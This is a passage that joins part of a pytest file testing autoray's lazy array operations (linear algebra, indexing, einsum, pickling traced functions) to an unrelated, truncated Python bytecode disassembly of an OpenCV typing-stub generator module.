to_numpy(ly.compute()), ) @pytest.mark.parametrize("backend", BACKENDS) @pytest.mark.parametrize("dtype", ["float64", "complex128"]) def test_eig_inv(backend, dtype): if backend in ("cupy", "dask", "torch", "mars", "sparse"): pytest.xfail(f"{backend} doesn't support 'linalg.eig' yet...") d = 20 x = lazy.array(gen_rand((d, d), backend, dtype)) el, ev = do("linalg.eig", x) assert shape(el) == (d,) assert shape(ev) == (d, d) ly = ev @ (do("reshape", el, (-1, 1)) * do("linalg.inv", ev)) make_strict(ly) assert_allclose( to_numpy(x.compute()), to_numpy(ly.compute()), ) @pytest.mark.parametrize("backend", BACKENDS) @pytest.mark.parametrize("dtype", ["float64", "complex128"]) def test_eigh(backend, dtype): if backend in ( "dask", "mars", "sparse", ): pytest.xfail(f"{backend} doesn't support 'linalg.eig' yet...") x = lazy.array(gen_rand((5, 5), backend, dtype)) x = x + x.H el, ev = do("linalg.eigh", x) assert shape(el) == (5,) assert shape(ev) == (5, 5) ly = ev @ (do("reshape", el, (-1, 1)) * ev.H) make_strict(ly) assert_allclose( to_numpy(x.compute()), to_numpy(ly.compute()), ) @pytest.mark.parametrize("backend", BACKENDS) @pytest.mark.parametrize("dtype", ["float64", "complex128"]) def test_cholesky(backend, dtype): if backend in ("sparse",): pytest.xfail(f"{backend} doesn't support 'linalg.cholesky' yet...") x = lazy.array(gen_rand((5, 5), backend, dtype)) x = x @ x.H C = do("linalg.cholesky", x) assert shape(C) == (5, 5) ly = C @ C.H make_strict(ly) assert_allclose( to_numpy(x.compute()), to_numpy(ly.compute()), ) @pytest.mark.parametrize("backend", BACKENDS) @pytest.mark.parametrize("dtype", ["float64", "complex128"]) def test_solve(backend, dtype): if backend in ("sparse",): pytest.xfail(f"{backend} doesn't support 'linalg.solve' yet...") A = lazy.array(gen_rand((5, 5), backend, dtype)) y = lazy.array(gen_rand((5,), backend, dtype)) x = do("linalg.solve", A, y) assert shape(x) == (5,) ly = do("tensordot", A, x, axes=1) make_strict(ly) assert_allclose( to_numpy(y.compute()), to_numpy(ly.compute()), ) def test_dunder_magic(): a = do("random.uniform", size=(), like="numpy") b = lazy.array(a) x, y, z = do("random.uniform", size=(3), like="numpy") a = x * a b = x * b a = a * y b = b * y a *= z b *= z assert_allclose(a, b.compute()) a = do("random.uniform", size=(), like="numpy") b = lazy.array(a) x, y, z = do("random.uniform", size=(3), like="numpy") a = x + a b = x + b a = a + y b = b + y a += z b += z assert_allclose(a, b.compute()) a = do("random.uniform", size=(), like="numpy") b = lazy.array(a) x, y, z = do("random.uniform", size=(3), like="numpy") a = x - a b = x - b a = a - y b = b - y a -= z b -= z assert_allclose(a, b.compute()) a = do("random.uniform", size=(), like="numpy") b = lazy.array(a) x, y, z = do("random.uniform", size=(3), like="numpy") a = x / a b = x / b a = a / y b = b / y a /= z b /= z assert_allclose(a, b.compute()) a = do("random.uniform", size=(), like="numpy") b = lazy.array(a) x, y, z = do("random.uniform", size=(3), like="numpy") a = x // a b = x // b a = a // y b = b // y a //= z b //= z assert_allclose(a, b.compute()) a = do("random.uniform", size=(), like="numpy") b = lazy.array(a) x, y, z = do("random.uniform", size=(3), like="numpy") a = x**a b = x**b a = a**y b = b**y a **= z b **= z assert_allclose(a, b.compute()) a = do("random.uniform", size=(3, 3), like="numpy") b = lazy.array(a) x, y, z = do("random.uniform", size=(3, 3, 3), like="numpy") a = x @ a b = x @ b a = a @ y b = b @ y a = a @ z b @= z assert_allclose(a, b.compute()) def test_indexing(): a = do("random.uniform", size=(2, 3, 4, 5), like="numpy") b = lazy.array(a) for key in [0, (1, ..., -1), (0, 1, slice(None), -2)]: assert_allclose(a[key], b[key].compute()) @pytest.mark.parametrize("k", [-3, -1, 0, 2, 4]) @pytest.mark.parametrize( "shape", [ (3,), (2, 2), (3, 4), (4, 3), ], ) def test_diag(shape, k): a = do("random.uniform", size=shape, like="numpy") b = lazy.array(a) ad = do("diag", a, k) bd = do("diag", b, k) assert_allclose(ad, bd.compute()) def test_einsum(): a = do("random.uniform", size=(2, 3, 4, 5), like="numpy") b = do("random.uniform", size=(4, 5), like="numpy") c = do("random.uniform", size=(6, 2, 3), like="numpy") eq = "abcd,cd,fab->fd" x1 = do("einsum", eq, a, b, c) la, lb, lc = map(lazy.array, (a, b, c)) x2 = do("einsum", eq, la, lb, lc) assert_allclose(x1, x2.compute()) def test_tensordot(): a = do("random.uniform", size=(7, 3, 4, 5), like="numpy") b = do("random.uniform", size=(5, 6, 3, 2), like="numpy") x1 = do("tensordot", a, b, axes=[(1, 3), (2, 0)]) la, lb = map(lazy.array, (a, b)) x2 = do("tensordot", la, lb, axes=[(1, 3), (2, 0)]) assert_allclose(x1, x2.compute()) def test_use_variable_to_trace_function(): a = lazy.Variable(shape=(2, 3), backend="numpy") b = lazy.Variable(shape=(3, 4), backend="numpy") c = do("tanh", a @ b) f = c.get_function([a, b]) x = do("random.uniform", size=(2, 3), like="numpy") y = do("random.uniform", size=(3, 4), like="numpy") z = f([x, y]) assert shape(z) == (2, 4) def test_can_pickle_traced_function(): import pickle a = lazy.Variable(shape=(2, 3), backend="numpy") b = lazy.Variable(shape=(3, 4), backend="numpy") c = do("tanh", a @ b) f = c.get_function([a, b]) x = do("random.uniform", size=(2, 3), like="numpy") y = do("random.uniform", size=(3, 4), like="numpy") z = f([x, y]) assert shape(z) == (2, 4) s = pickle.dumps(f) g = pickle.loads(s) z = g([x, y]) assert shape(z) == (2, 4) def test_where(): a = lazy.Variable(shape=(4,), backend="numpy") b = lazy.Variable(shape=(4,), backend="numpy") c = do("where", *(a > 0, b, 1)) f = c.get_function([a, b]) x = do("asarray", [-0.5, -0.5, 1, 2], like="numpy") y = do("asarray", [1, 2, 3, 4], like="numpy") z = f(x, y) assert_allclose(z, [1, 1, 3, 4]) def test_lazy_function_pytree_input_and_output(): inputs = { "a": lazy.Variable(shape=(2, 3), backend="numpy"), "b": lazy.Variable(shape=(3, 4), backend="numpy"), } outputs = { "outa": do("tanh", inputs["a"] @ inputs["b"]), "outb": [inputs["a"] - 1, inputs["b"] - 1], } f = lazy.Function(inputs, outputs) a = do("random.uniform", size=(2, 3), like="numpy") b = do("random.uniform", size=(3, 4), like="numpy") outs = f({"a": a, "b": b}) assert_allclose(outs["outa"], do("tanh", a @ b)) assert_allclose(outs["outb"][0], a - 1) assert_allclose(outs["outb"][1], b - 1) @pytest.mark.parametrize( "indices", [ [0, 1], [[0, 1], [1, 2]], [[[0, 1], [1, 2]], [[1, 1], [2, 2]]], [[[[0, 1, 2, 3]]]], [[[[0], [1]]], [[[2], [3]]]], ], ) @pytest.mark.parametrize( "shape", [ (4,), (4, 5), (4, 5, 6), (4, 5, 6, 7), ], ) def test_take(indices, shape): a = do("random.uniform", size=shape, like="numpy") b = lazy.Variable(shape=shape, backend="numpy") np_shape = do("take", a, indices).shape lazy_shape = do("take", b, indices).shape fn = do("take", b, indices).get_function([b]) lazy_func_shape = fn([a]).shape assert_allclose(np_shape, lazy_shape) assert_allclose(np_shape, lazy_func_shape) @pytest.mark.parametrize( "indices", [ [0, 1], [[0, 1], [1, 2]], [[[0, 1], [1, 2]], [[1, 1], [2, 2]]], [[[[0, 1, 2, 3]]]], [[[[0], [1]]], [[[2], [3]]]], ], ) @pytest.mark.parametrize( "shape", [ (4,), (4, 5), (4, 5, 6), (4, 5, 6, 7), ], ) def test_getitem(indices, shape): a = do("random.uniform", size=shape, like="numpy") b = lazy.Variable(shape=shape, backend="numpy") np_shape = a[indices].shape lazy_shape = b[indices].shape fn = b[indices].get_function([b]) lazy_func_shape = fn([a]).shape assert_allclose(np_shape, lazy_shape) assert_allclose(np_shape, lazy_func_shape) def random_indexer(ndim_min=0, ndim_max=10, d_min=1, d_max=5, seed=None): """Generate a random shape and valid indexing object into that shape.""" import numpy as np rng = np.random.default_rng(seed=seed) ndim = rng.integers(ndim_min, ndim_max + 1) adv_ix_ndim = rng.integers(1, 4) adv_ix_shape = tuple(rng.integers(d_min, d_max + 1, size=adv_ix_ndim)) def rand_adv_ix_broadcastable_shape(): ndim = rng.integers(1, adv_ix_ndim + 1) matching_shape = adv_ix_shape[-ndim:] return tuple(rng.choice([d, 1]) for d in matching_shape) shape = [] indexer = [] choices = ["index", "slice", "ellipsis", "array", "list", "newaxis"] i = 0 while i < ndim: kind = rng.choice(choices) if kind == "newaxis": indexer.append(None) continue d = rng.integers(d_min, d_max + 1) shape.append(d) if kind == "index": ix = rng.integers(-d, d) if rng.random() > 0.5: ix = int(ix) elif kind == "ellipsis": ix = ... choices.remove("ellipsis") i += rng.integers(0, 4) elif kind == "slice": start = rng.integers(-d - 2, d + 2) stop = rng.integers(-d - 2, d - 2) step = rng.choice([-3, -2, -1, 1, 2, 3]) ix = slice(start, stop, step) elif kind == "array": ai_shape = rand_adv_ix_broadcastable_shape() ix = rng.integers(-d, d, size=ai_shape) elif kind == "list": ai_shape = rand_adv_ix_broadcastable_shape() ix = rng.integers(-d, d, size=ai_shape).tolist() indexer.append(ix) i += 1 if (len(indexer) == 1) and (rng.random() > 0.5): (indexer,) = indexer else: indexer = tuple(indexer) return tuple(shape), indexer @pytest.mark.parametrize("seed", range(1000)) def test_lazy_getitem_random(seed): shape, indexer = random_indexer() a = do("random.uniform", size=shape, like="numpy") ai = a[indexer] b = lazy.array(a) bi = b[indexer] assert bi.shape == ai.shape assert_allclose(bi.compute(), ai) @pytest.mark.parametrize( "shape1, shape2", [ ((3,), (3,)), ((3,), (3, 2)), ((6, 5, 4, 3), (3,)), ((7, 6, 5, 4), (7, 6, 4, 3)), ], ) def test_matmul_shape(shape1, shape2): a = lazy.Variable(shape=shape1) b = lazy.Variable(shape=shape2) np_a = do("random.uniform", size=shape1, like="numpy") np_b = do("random.uniform", size=shape2, like="numpy") lazy_shape = (a @ b).shape np_shape = (np_a @ np_b).shape assert_allclose(lazy_shape, np_shape) @pytest.mark.parametrize( "shape1, shape2", [ ((3,), (1,)), ((3,), (4, 3)), ((3,), (3, 2, 1)), ( (2, 2, 3, 4), ( 1, 2, 4, 5, ), ), ((6, 5, 4), (6, 3, 3)), ], ) def test_matmul_shape_error(shape1, shape2): a = lazy.Variable(shape=shape1) b = lazy.Variable(shape=shape2) def f(x, y): return x @ y assert_raises(ValueError, f, a, b) def test_pytree_compute(): x = do("random.uniform", size=(5, 6), like="numpy") lx = lazy.array(x) lu, ls, lv = do("linalg.svd", lx) lresults = {"u": lu, "s": ls, "v": lv} results = lazy.compute(lresults) assert isinstance(results, dict) assert infer_backend(results["s"]) == infer_backend(x) def test_kron(): x = do("random.uniform", size=(2, 3), like="numpy") y = do("random.uniform", size=(2, 3), like="numpy") xy = do("kron", x, y) lx = lazy.array(x) ly = lazy.array(y) lxy = do("kron", lx, ly) assert lxy.shape == xy.shape assert_allclose(lxy.compute(), xy) x = do("random.uniform", size=(3,), like="numpy") y = do("random.uniform", size=(3, 4, 5), like="numpy") xy = do("kron", x, y) lx = lazy.array(x) ly = lazy.array(y) lxy = do("kron", lx, ly) assert lxy.shape == xy.shape assert_allclose(lxy.compute(), xy) x = do("random.uniform", size=(3, 4, 5), like="numpy") y = do("random.uniform", size=(3,), like="numpy") xy = do("kron", x, y) lx = lazy.array(x) ly = lazy.array(y) lxy = do("kron", lx, ly) assert lxy.shape == xy.shape assert_allclose(lxy.compute(), xy) def test_concatenate(): x = do("random.uniform", size=(3, 4, 5), like="numpy") y = do("random.uniform", size=(3, 1, 5), like="numpy") z = do("random.uniform", size=(3, 7, 5), like="numpy") xyz = do("concatenate", (x, y, z), axis=1) lx = lazy.array(x) ly = lazy.array(y) lz = lazy.array(z) lxyz = do("concatenate", (lx, ly, lz), axis=1) assert lxyz.shape == xyz.shape assert_allclose(lxyz.compute(), xyz)
data/autoray-0.6.8/tests/test_lazy.py
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LOAD_CONST 0 LOAD_CONST ('Sequence', 'Generator', 'Tuple', 'Optional', 'Union') IMPORT_NAME typing IMPORT_FROM Sequence STORE_NAME Sequence IMPORT_FROM Generator STORE_NAME Generator IMPORT_FROM Tuple STORE_NAME Tuple IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Union STORE_NAME Union POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME weakref STORE_NAME weakref LOAD_CONST 0 LOAD_CONST None IMPORT_NAME abc STORE_NAME abc LOAD_CONST 1 LOAD_CONST ('ASTNode', 'ASTNodeType') IMPORT_NAME node IMPORT_FROM ASTNode STORE_NAME ASTNode IMPORT_FROM ASTNodeType STORE_NAME ASTNodeType POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object TypeResolutionError at 0x7fab703a5660, file "f.py", line 8> LOAD_CONST 'TypeResolutionError' MAKE_FUNCTION LOAD_CONST 'TypeResolutionError' LOAD_NAME Exception CALL_FUNCTION STORE_NAME TypeResolutionError LOAD_BUILD_CLASS LOAD_CONST <code object TypeNode at 0x7fab703a5270, file "f.py", line 12> LOAD_CONST 'TypeNode' MAKE_FUNCTION LOAD_CONST 'TypeNode' LOAD_NAME abc LOAD_ATTR ABC CALL_FUNCTION STORE_NAME TypeNode LOAD_BUILD_CLASS LOAD_CONST <code object NoneTypeNode at 0x7fab703a5390, file "f.py", line 143> LOAD_CONST 'NoneTypeNode' MAKE_FUNCTION LOAD_CONST 'NoneTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME NoneTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AnyTypeNode at 0x7fab703a5ae0, file "f.py", line 151> LOAD_CONST 'AnyTypeNode' MAKE_FUNCTION LOAD_CONST 'AnyTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AnyTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object PrimitiveTypeNode at 0x7fab822ea270, file "f.py", line 163> LOAD_CONST 'PrimitiveTypeNode' MAKE_FUNCTION LOAD_CONST 'PrimitiveTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME PrimitiveTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AliasRefTypeNode at 0x7fab822ea780, file "f.py", line 199> LOAD_CONST 'AliasRefTypeNode' MAKE_FUNCTION LOAD_CONST 'AliasRefTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AliasRefTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AliasTypeNode at 0x7fab641ae1e0, file "f.py", line 233> LOAD_CONST 'AliasTypeNode' MAKE_FUNCTION LOAD_CONST 'AliasTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AliasTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ConditionalAliasTypeNode at 0x7fab641ae6f0, file "f.py", line 439> LOAD_CONST 'ConditionalAliasTypeNode' MAKE_FUNCTION LOAD_CONST 'ConditionalAliasTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME ConditionalAliasTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object NDArrayTypeNode at 0x7fab641ae9c0, file "f.py", line 538> LOAD_CONST 'NDArrayTypeNode' MAKE_FUNCTION LOAD_CONST 'NDArrayTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME NDArrayTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ASTNodeTypeNode at 0x7fab70270030, file "f.py", line 566> LOAD_CONST 'ASTNodeTypeNode' MAKE_FUNCTION LOAD_CONST 'ASTNodeTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME ASTNodeTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AggregatedTypeNode at 0x7fab702705d0, file "f.py", line 670> LOAD_CONST 'AggregatedTypeNode' MAKE_FUNCTION LOAD_CONST 'AggregatedTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AggregatedTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ContainerTypeNode at 0x7fab70270c00, file "f.py", line 713> LOAD_CONST 'ContainerTypeNode' MAKE_FUNCTION LOAD_CONST 'ContainerTypeNode' LOAD_NAME AggregatedTypeNode CALL_FUNCTION STORE_NAME ContainerTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object SequenceTypeNode at 0x7fab70270ed0, file "f.py", line 753> LOAD_CONST 'SequenceTypeNode' MAKE_FUNCTION LOAD_CONST 'SequenceTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME SequenceTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object TupleTypeNode at 0x7fab70279150, file "f.py", line 770> LOAD_CONST 'TupleTypeNode' MAKE_FUNCTION LOAD_CONST 'TupleTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME TupleTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object UnionTypeNode at 0x7fab70279300, file "f.py", line 786> LOAD_CONST 'UnionTypeNode' MAKE_FUNCTION LOAD_CONST 'UnionTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME UnionTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object OptionalTypeNode at 0x7fab702795d0, file "f.py", line 802> LOAD_CONST 'OptionalTypeNode' MAKE_FUNCTION LOAD_CONST 'OptionalTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME OptionalTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object DictTypeNode at 0x7fab702799c0, file "f.py", line 821> LOAD_CONST 'DictTypeNode' MAKE_FUNCTION LOAD_CONST 'DictTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME DictTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object CallableTypeNode at 0x7fab703fa0c0, file "f.py", line 848> LOAD_CONST 'CallableTypeNode' MAKE_FUNCTION LOAD_CONST 'CallableTypeNode' LOAD_NAME AggregatedTypeNode CALL_FUNCTION STORE_NAME CallableTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ClassTypeNode at 0x7fab703fa390, file "f.py", line 913> LOAD_CONST 'ClassTypeNode' MAKE_FUNCTION LOAD_CONST 'ClassTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME ClassTypeNode LOAD_NAME Optional LOAD_NAME ASTNode BINARY_SUBSCR LOAD_NAME str LOAD_NAME Optional LOAD_NAME ASTNode BINARY_SUBSCR LOAD_CONST ('root', 'full_symbol_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _resolve_symbol at 0x7fab703fa6f0, file "f.py", line 928> LOAD_CONST '_resolve_symbol' MAKE_FUNCTION STORE_NAME _resolve_symbol LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TypeResolutionError' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TypeNode' STORE_NAME __qualname__ LOAD_CONST "This class and its derivatives used for construction parts of AST that\n otherwise can't be constructed from the information provided by header\n parser, because this information is either not available at that moment of\n time or not available at all:\n - There is no possible way to derive correspondence between C++ type\n and its Python equivalent if it is not exposed from library\n e.g. `cv::Rect`.\n - There is no information about types visibility (see `ASTNodeTypeNode`).\n " STORE_NAME __doc__ LOAD_CONST False STORE_NAME compatible_to_runtime_usage LOAD_NAME str LOAD_CONST None LOAD_CONST ('ctype_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab703a5c90, file "f.py", line 34> LOAD_CONST 'TypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME abc LOAD_ATTR abstractproperty LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab703a55d0, file "f.py", line 37> LOAD_CONST 'TypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab703a5420, file "f.py", line 47> LOAD_CONST 'TypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7fab703a5150, file "f.py", line 58> LOAD_CONST 'TypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab703a5f60, file "f.py", line 82> LOAD_CONST 'TypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fab703a56f0, file "f.py", line 106> LOAD_CONST 'TypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME str LOAD_NAME str LOAD_CONST ('module_full_export_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7fab703a5300, file "f.py", line 110> LOAD_CONST 'TypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_NAME ASTNode LOAD_CONST None LOAD_CONST ('root', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fab703a5a50, file "f.py", line 124> LOAD_CONST 'TypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_CONST None RETURN_VALUE LOAD_FAST ctype_name LOAD_FAST self STORE_ATTR ctype_name LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR typename RETURN_VALUE LOAD_CONST () GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST () GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_ATTR full_typename RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'NoneTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a None (or `void` in C++) type.' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab703a58a0, file "f.py", line 146> LOAD_CONST 'NoneTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_CONST None RETURN_VALUE LOAD_CONST 'None' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AnyTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing any type (most of the time it means unknown).' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab703a5db0, file "f.py", line 154> LOAD_CONST 'AnyTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab703a5030, file "f.py", line 158> LOAD_CONST 'AnyTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Any' RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PrimitiveTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a primitive built-in types e.g. int, float, str.' STORE_NAME __doc__ LOAD_CONST (None,) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'typename', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab703a5ed0, file "f.py", line 166> LOAD_CONST 'PrimitiveTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab703a5d20, file "f.py", line 170> LOAD_CONST 'PrimitiveTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object int_ at 0x7fab703a5b70, file "f.py", line 174> LOAD_CONST 'PrimitiveTypeNode.int_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME int_ LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object float_ at 0x7fab703a5930, file "f.py", line 180> LOAD_CONST 'PrimitiveTypeNode.float_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME float_ LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object bool_ at 0x7fab703a50c0, file "f.py", line 186> LOAD_CONST 'PrimitiveTypeNode.bool_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME bool_ LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object str_ at 0x7fab822ea150, file "f.py", line 192> LOAD_CONST 'PrimitiveTypeNode.str_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME str_ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST typename LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST typename JUMP_FORWARD to 26 LOAD_FAST ctype_name LOAD_FAST self STORE_ATTR _typename LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _typename RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'int' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'int' LOAD_CONST ('typename',) CALL_FUNCTION RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'float' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'float' LOAD_CONST ('typename',) CALL_FUNCTION RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'bool' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'bool' LOAD_CONST ('typename',) CALL_FUNCTION RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'string' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'str' CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AliasRefTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing an alias referencing another alias. Example:\n ```python\n Point2i = tuple[int, int]\n Point = Point2i\n ```\n During typing stubs generation procedure above code section might be defined\n as follows\n ```python\n AliasTypeNode.tuple_("Point2i",\n items=(\n PrimitiveTypeNode.int_(),\n PrimitiveTypeNode.int_()\n ))\n AliasTypeNode.ref_("Point", "Point2i")\n ```\n ' STORE_NAME __doc__ LOAD_CONST (None,) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('alias_ctype_name', 'alias_export_name') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab822eaae0, file "f.py", line 217> LOAD_CONST 'AliasRefTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab822ea660, file "f.py", line 224> LOAD_CONST 'AliasRefTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab822ea6f0, file "f.py", line 228> LOAD_CONST 'AliasRefTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST alias_ctype_name CALL_METHOD POP_TOP LOAD_FAST alias_export_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST alias_ctype_name LOAD_FAST self STORE_ATTR alias_export_name JUMP_FORWARD to 34 LOAD_FAST alias_export_name 